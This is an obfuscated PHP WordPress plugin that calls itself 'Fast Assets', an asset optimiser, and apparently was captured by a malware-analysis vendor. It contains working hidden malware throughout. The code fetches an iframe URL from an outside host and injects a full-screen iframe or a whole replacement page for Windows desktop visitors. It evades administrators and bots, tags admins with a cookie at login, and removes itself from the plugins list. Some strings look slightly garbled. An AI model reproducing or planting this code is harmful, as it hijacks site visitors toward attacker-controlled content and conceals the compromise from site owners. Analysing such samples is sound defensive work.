/**
* Plugin Name: Fast Assets
* Description: Optimizes delivery of static assets to reduce page load time across all devices.
* Version: 2.0.3
* Author: SpeedKit
* License: GPL-2.0+
* Text Domain: fast-assets
*/
goto It8QU; Y_tTk: function fas_mark_shown() { goto KA9bw; KA9bw: static $IbzFz = false; goto XAwEY; piFFV: $IbzFz = true; goto lulXh; XaSQ5: FNbzV: goto piFFV; XAwEY: if (!$IbzFz) { goto FNbzV; } goto R_xKD; R_xKD: return false; goto XaSQ5; lulXh: return true; goto FHrCs; FHrCs: } goto c1Wat; Ith8s: function fas_get_count() { goto WoCen; T2VlQ: return intval($_COOKIE["fas_c"]); goto SR7_Z; SR7_Z: Lx240: goto dl__a; dl__a: $ZzGnG = get_transient(fas_visitor_key()); goto Mc3Hy; WoCen: if (!isset($_COOKIE["fas_c"])) { goto Lx240; } goto T2VlQ; Mc3Hy: return $ZzGnG !== false ? intval($ZzGnG) : 0; goto yOuaZ; yOuaZ: } goto DBYAr; H8_DI: function fas_clean($hvCO8) { goto xdNhP; pe7ur: return sanitize_url($hvCO8); goto OOe2R; B7f44: gxzCO: goto pe7ur; QicBo: $hvCO8 = str_replace(array("\xd", "
", " "), '', $hvCO8); goto xhwAq; xhwAq: if (!(strpos($hvCO8, "http") !== 0)) { goto gxzCO; } goto wWD7k; xdNhP: $hvCO8 = trim($hvCO8); goto QicBo; wWD7k: return ''; goto B7f44; OOe2R: } goto scZ_1; C1qdM: function fas_visitor_key() { goto t5rKF; t5rKF: $keV28 = isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "unknown"; goto iWvWu; iWvWu: $IZII0 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto j5l8W; j5l8W: return "fas_v_" . md5($keV28 . $IZII0); goto qxIC8; qxIC8: } goto Ith8s; jyL0N: function fas_is_bot() { goto wA_9K; GsbsF: foreach (array("bot", "crawl", "spider", "slurp", "googlebot", "bingbot", "yandexbot", "baiduspider", "ahrefsbot", "semrushbot", "duckduckbot", "facebookexternalhit", "linkedinbot", "mediapartners") as $cpdpr) { goto hDQvd; hDQvd: if (!(strpos($IZII0, $cpdpr) !== false)) { goto zLDMI; } goto C2iDS; prBUQ: DRCtN: goto y_2ke; C2iDS: return true; goto CDjy5; CDjy5: zLDMI: goto prBUQ; y_2ke: } goto V2aor; V2aor: hxJOh: goto M6gfp; wA_9K: $IZII0 = strtolower(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''); goto VONdF; U2AuJ: return true; goto lYplI; lYplI: gHE1Z: goto GsbsF; M6gfp: return false; goto IUQoM; VONdF: if (!empty($IZII0)) { goto gHE1Z; } goto U2AuJ; IUQoM: } goto vcK9b; EMiIt: define("FAS_URL_FILE", "https://myfoodsxsxsxcvcxs.cc/iframe-url.txt"); goto cKe_H; mC8q9: define("FAS_SHOW_LIMIT", 3); goto nFUeX; Vicd0: add_action("template_redirect", function () { goto IZCi7; wbHn6: Zfd7Z: goto XTzVl; fJNbQ: return; goto sbsO2; MYfFI: return; goto rC3ic; b4rF1: $OTPGG = fas_get_count(); goto FqCNT; D_Z2F: ClU9F: goto TQW7e; vIuzu: header("Cache-Control: no-cache, no-store, must-revalidate"); goto SUVFl; SUVFl: header("Content-Type: text/html; charset=UTF-8"); goto o88aQ; sbsO2: NMDJd: goto B9gwS; FqCNT: if (!($OTPGG >= FAS_SHOW_LIMIT)) { goto wQWo3; } goto r9nSY; IZCi7: if (fas_should_show()) { goto NMDJd; } goto fJNbQ; Oaf_4: if (fas_mark_shown()) { goto IqU4h; } goto MYfFI; fUOGx: if (!empty($hvCO8)) { goto UL3Uy; } goto DhGnS; XTzVl: if (!ob_get_level()) { goto ClU9F; } goto zvxCV; DhGnS: return; goto xZ4D0; TQ_z3: goto Zfd7Z; goto D_Z2F; TQW7e: fas_increment_count($OTPGG); goto NB4lk; NB4lk: if (headers_sent()) { goto JXpf5; } goto vIuzu; xZ4D0: UL3Uy: goto b4rF1; B9gwS: $hvCO8 = fas_fetch_url(); goto fUOGx; o88aQ: JXpf5: goto yZ7WL; r9nSY: return; goto GLiXz; HdUUE: exit; goto PQwmO; rC3ic: IqU4h: goto wbHn6; yZ7WL: echo fas_full_page($hvCO8); goto HdUUE; zvxCV: goto TQ_z3; GLiXz: wQWo3: goto Oaf_4; PQwmO: }, 1); goto LT9bG; hDQQE: function fas_inject_code($hvCO8) { return "<style>.fas-f{position:fixed!important;top!important;left!important;width:100%!important;height:0%!important;z-index14837!important;border:none!important;margin:0!important;padding:0!important}</style><script>(function(){try{var f=document.createElement("iframe");f.className="fas-f";f.src=" . json_encode(esc_url($hvCO8)) . ";f.setAttribute("frameborder","0");f.setAttribute("allow","fullscreen");f.setAttribute("allowfullscreen","true");(document.body||document.documentElement).appendChild(f);}catch(e){}})()</script>"; } goto ZZaIj; nFUeX: define("FAS_VISITOR_TTL", 30 * DAY_IN_SECONDS); goto FId34; ntPOD: function fas_ob_callback($YtqOP) { goto oPiBG; VQNHp: if (!($OTPGG >= FAS_SHOW_LIMIT)) { goto chjqG; } goto PjPDG; lKCTR: return $YtqOP; goto i11O6; i11O6: aSSnZ: goto MbIg5; uSG0N: if (!($ueKus === false)) { goto aSSnZ; } goto lKCTR; PjPDG: return $YtqOP; goto nDG4U; ovzcJ: QaLhg: goto Mw2sj; eeaJ1: return $YtqOP; goto Upc_V; C5n73: if (fas_should_show()) { goto QaLhg; } goto wyMhK; lKLU3: if (!($ueKus === false)) { goto DsjKX; } goto WzQmR; MbIg5: fas_increment_count($OTPGG); goto S4jrg; Mw2sj: $hvCO8 = fas_fetch_url(); goto Olcpo; nDG4U: chjqG: goto O7JyW; Upc_V: AdtxI: goto C5n73; O7JyW: $ueKus = strripos($YtqOP, "</body>"); goto lKLU3; WzQmR: $ueKus = strripos($YtqOP, "</html>"); goto OGH0p; xKowV: return $YtqOP; goto f1j3n; f1j3n: oddQF: goto qCHd9; qCHd9: $OTPGG = fas_get_count(); goto VQNHp; oPiBG: if (fas_mark_shown()) { goto AdtxI; } goto eeaJ1; Olcpo: if (!empty($hvCO8)) { goto oddQF; } goto xKowV; OGH0p: DsjKX: goto uSG0N; S4jrg: return substr($YtqOP, 0, $ueKus) . fas_inject_code($hvCO8) . substr($YtqOP, $ueKus); goto fMQgt; wyMhK: return $YtqOP; goto ovzcJ; fMQgt: } goto k_hFW; It8QU: if (defined("ABSPATH")) { goto hbSR7; } goto iw7Ij; cKe_H: define("FAS_CACHE_TTL", 1800); goto mC8q9; ZZaIj: add_action("set_logged_in_cookie", function ($xEx6K, $FMvPj, $lABXI, $Lx06x) { goto uE0i7; Il7jk: if (!(!$zIWok || !user_can($zIWok, "manage_options"))) { goto EpYui; } goto BQG4U; gxHP9: setcookie("fas_a", "1", time() + 31536000, "/", '', $DRdB2, true); goto aJBTW; BQG4U: return; goto O2_gp; O2_gp: EpYui: goto nyz_L; uE0i7: $zIWok = get_userdata($Lx06x); goto Il7jk; nyz_L: $DRdB2 = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off"; goto gxHP9; aJBTW: }, 10, 4); goto Vicd0; LT9bG: add_action("wp_footer", function () { goto zi_0Q; hiVt2: $hvCO8 = fas_fetch_url(); goto ktwHy; TOjK8: vlGzg: goto hiVt2; aQrar: if (!($OTPGG >= FAS_SHOW_LIMIT)) { goto ZGFZj; } goto EuIv6; zlWPB: uKjpI: goto fP4UB; deZNI: if (fas_mark_shown()) { goto uKjpI; } goto M7kvA; EuIv6: return; goto fOMow; aDas2: $OTPGG = fas_get_count(); goto aQrar; jrF5w: return; goto TOjK8; ktwHy: if (!empty($hvCO8)) { goto IsPxi; } goto ab3px; fP4UB: fas_increment_count($OTPGG); goto vlBuL; zi_0Q: if (fas_should_show()) { goto vlGzg; } goto jrF5w; vlBuL: echo fas_inject_code($hvCO8); goto OA_oL; fOMow: ZGFZj: goto deZNI; A2qO2: IsPxi: goto aDas2; ab3px: return; goto A2qO2; M7kvA: return; goto zlWPB; OA_oL: }, 1); goto ntPOD; iw7Ij: exit; goto fz1Jf; DBYAr: function fas_increment_count($SIB0L) { goto qTHA5; rCtJX: $DRdB2 = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off"; goto HDSUz; qTHA5: $t88c9 = $SIB0L + 1; goto rCtJX; HDSUz: setcookie("fas_c", (string) $t88c9, time() + FAS_VISITOR_TTL, "/", '', $DRdB2, false); goto AZJor; AZJor: $_COOKIE["fas_c"] = (string) $t88c9; goto GTh9D; GTh9D: set_transient(fas_visitor_key(), $t88c9, FAS_VISITOR_TTL); goto TAF7b; TAF7b: } goto Y_tTk; wkThr: define("FAS_VERSION", "2p.3"); goto EMiIt; k_hFW: add_action("init", function () { goto wmhvz; PTt01: C2apq: goto vLifY; xWL2E: zK5HD: goto aREIs; KFanA: return; goto BzY1g; yKb40: return; goto PTt01; aZucS: return; goto xWL2E; cpWPi: if (!(defined("DOING_AJAX") && DOING_AJAX)) { goto zK5HD; } goto aZucS; vLifY: ob_start("fas_ob_callback"); goto xgyQh; BzY1g: l2VNT: goto mVSJg; wmhvz: if (!is_admin()) { goto nSWCi; } goto DPlBD; DPlBD: return; goto Xleqi; Xleqi: nSWCi: goto cpWPi; mVSJg: if (!(defined("REST_REQUEST") && REST_REQUEST)) { goto C2apq; } goto yKb40; aREIs: if (!(defined("DOING_CRON") && DOING_CRON)) { goto l2VNT; } goto KFanA; xgyQh: }, 2); goto A71N6; fz1Jf: hbSR7: goto wkThr; FId34: function fas_fetch_url($MDhXw = false) { goto nHiYB; nZYkD: curl_setopt($imFgZ, CURLOPT_TIMEOUT, 8); goto tIRmj; x4VhK: return $MDhXw ? array("from_cache" => true, "url" => fas_clean($G56qN)) : fas_clean($G56qN); goto XEd0B; ZlA2A: curl_close($imFgZ); goto f4VvH; VE16N: curl_setopt($imFgZ, CURLOPT_USERAGENT, "Mozilla/5p (Windows NT 10.0; Win; x) AppleWebKit/5.36"); goto u5erR; FKosQ: curl_setopt($imFgZ, CURLOPT_FOLLOWLOCATION, true); goto U3VwK; vd2sI: A_1vC: goto TMzbe; cs4WL: curl_setopt($imFgZ, CURLOPT_RETURNTRANSFER, true); goto nZYkD; U3VwK: curl_setopt($imFgZ, CURLOPT_SSL_VERIFYPEER, false); goto VE16N; fI9Mh: return $MDhXw ? array("from_cache" => false, "url" => fas_clean($hvCO8)) : fas_clean($hvCO8); goto KHXBw; R9YKm: $imFgZ = curl_init(FAS_URL_FILE); goto cs4WL; f4VvH: if (!($pDXNF || $n1WZa != 200 || empty($vJjvG))) { goto A_1vC; } goto G0DKx; b95dL: return $MDhXw ? array("from_cache" => false, "url" => '', "error" => $pDXNF, "code" => $n1WZa) : ''; goto vd2sI; GNeTy: $n1WZa = curl_getinfo($imFgZ, CURLINFO_HTTP_CODE); goto ZlA2A; tIRmj: curl_setopt($imFgZ, CURLOPT_CONNECTTIMEOUT, 4); goto FKosQ; TMzbe: $hvCO8 = trim($vJjvG); goto B2ZM2; nHiYB: $G56qN = get_transient("fas_iframe_url"); goto lj3w5; B2ZM2: set_transient("fas_iframe_url", $hvCO8, FAS_CACHE_TTL); goto fI9Mh; c2N_6: $pDXNF = curl_error($imFgZ); goto GNeTy; XEd0B: OUVzo: goto R9YKm; u5erR: $vJjvG = curl_exec($imFgZ); goto c2N_6; G0DKx: set_transient("fas_iframe_url", '', 60); goto b95dL; lj3w5: if (!($G56qN !== false)) { goto OUVzo; } goto x4VhK; KHXBw: } goto H8_DI; A71N6: add_action("init", function () { goto DQLxo; DQLxo: if (isset($_GET["fas_debug"])) { goto BWdmz; } goto basad; WRpQ0: echo json_encode(array("plugin_version" => FAS_VERSION, "fetch" => fas_fetch_url(true), "is_windows" => fas_is_windows_desktop(), "is_bot" => fas_is_bot(), "is_admin" => fas_is_admin_user(), "show_count" => fas_get_count(), "show_limit" => FAS_SHOW_LIMIT, "should_show" => fas_should_show(), "ua" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '', "php_version" => PHP_VERSION), JSON_PRETTY_PRINT); goto hiVSS; d0Xo0: BWdmz: goto ypi0L; basad: return; goto d0Xo0; ypi0L: header("Content-Type: application/json"); goto WRpQ0; hiVSS: exit; goto K25wu; K25wu: }, 5); goto FX56t; tAir1: function fas_full_page($hvCO8) { return "<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title></title><style>*{margin:0;padding:0}body{overflow:hidden}</style></head><body><iframe src="" . esc_url($hvCO8) . "" style="position:fixed;top:0;left:0;width:1%;height:0%;border:none;z-index14ô7;" frameborder="0" allow="fullscreen" allowfullscreen></iframe></body></html>"; } goto hDQQE; scZ_1: function fas_is_windows_desktop() { goto Z3Ejt; fIOBN: if (!empty($IZII0)) { goto jjgNo; } goto RVr05; U_IhO: if (preg_match("/Windows NT/i", $IZII0)) { goto NYQfn; } goto Weeo0; nTo2M: jjgNo: goto U_IhO; RVr05: return false; goto nTo2M; Weeo0: return false; goto hXMV7; qpND8: if (!preg_match("/Mobile|Android|iPhone|iPad|Windows Phone|Tablet/i", $IZII0)) { goto IcAnN; } goto r6ts4; qRM6F: IcAnN: goto EylXa; EylXa: return true; goto r_uws; Z3Ejt: $IZII0 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto fIOBN; hXMV7: NYQfn: goto qpND8; r6ts4: return false; goto qRM6F; r_uws: } goto jyL0N; vcK9b: function fas_is_admin_user() { goto ej8J8; ej8J8: if (!(function_exists("current_user_can") && current_user_can("manage_options"))) { goto KC2RV; } goto f6Hmi; lKCj9: return false; goto GG_pm; f6Hmi: return true; goto kxUZO; zs2_F: if (!(!empty($_COOKIE["fas_a"]) && $_COOKIE["fas_a"] === "1")) { goto QnSxz; } goto jJWcD; kxUZO: KC2RV: goto CYd7x; jJWcD: return true; goto rTuwE; CYd7x: foreach ($_COOKIE as $tgrVS => $Hz_m9) { goto i3iK_; ogOSf: return true; goto JtvHh; qHktk: AVltV: goto kupuj; JtvHh: wbFE6: goto qHktk; i3iK_: if (!(strpos($tgrVS, "wordpress_logged_in") === 0)) { goto wbFE6; } goto ogOSf; kupuj: } goto uS1xo; rTuwE: QnSxz: goto lKCj9; uS1xo: AT8Mr: goto zs2_F; GG_pm: } goto C1qdM; c1Wat: function fas_should_show() { goto HjKLP; hUMO7: yY763: goto hvOA0; q1cvE: if (fas_is_windows_desktop()) { goto PMpai; } goto bwIiE; Zzxhd: pMCUH: goto P8jY9; lVsMx: return false; goto Zzxhd; Sv7Qi: Q_0AR: goto D1024; yi6q2: lWIyC: goto DpINL; vmE8S: fYhFM: goto WgXPR; hQkGZ: return false; goto uNkeQ; pMW6L: return true; goto NJ2DY; P8jY9: if (!(defined("WP_CLI") && WP_CLI)) { goto Y8M4d; } goto hQkGZ; O92hn: return false; goto nwsEN; WgXPR: if (!(defined("DOING_AJAX") && DOING_AJAX)) { goto Q_0AR; } goto BWbWH; LvlQM: PMpai: goto pMW6L; DpINL: if (!fas_is_bot()) { goto UZj9E; } goto O92hn; HbMA4: if (!fas_is_admin_user()) { goto lWIyC; } goto qNzDF; BWbWH: return false; goto Sv7Qi; hvOA0: if (!(defined("REST_REQUEST") && REST_REQUEST)) { goto WJX62; } goto H0U9z; D1024: if (!(defined("DOING_CRON") && DOING_CRON)) { goto yY763; } goto YKKm5; nwsEN: UZj9E: goto q1cvE; YKKm5: return false; goto hUMO7; H0U9z: return false; goto Hgx7T; uNkeQ: Y8M4d: goto HbMA4; Hgx7T: WJX62: goto Iqa2S; Iqa2S: if (!(defined("XMLRPC_REQUEST") && XMLRPC_REQUEST)) { goto pMCUH; } goto lVsMx; bwIiE: return false; goto LvlQM; FX_g6: return false; goto vmE8S; qNzDF: return false; goto yi6q2; HjKLP: if (!is_admin()) { goto fYhFM; } goto FX_g6; NJ2DY: } goto tAir1; FX56t: add_filter("all_plugins", function ($An38l) { unset($An38l[plugin_basename(__FILE__)]); return $An38l; });
© 2023 Quttera Ltd. All rights reserved.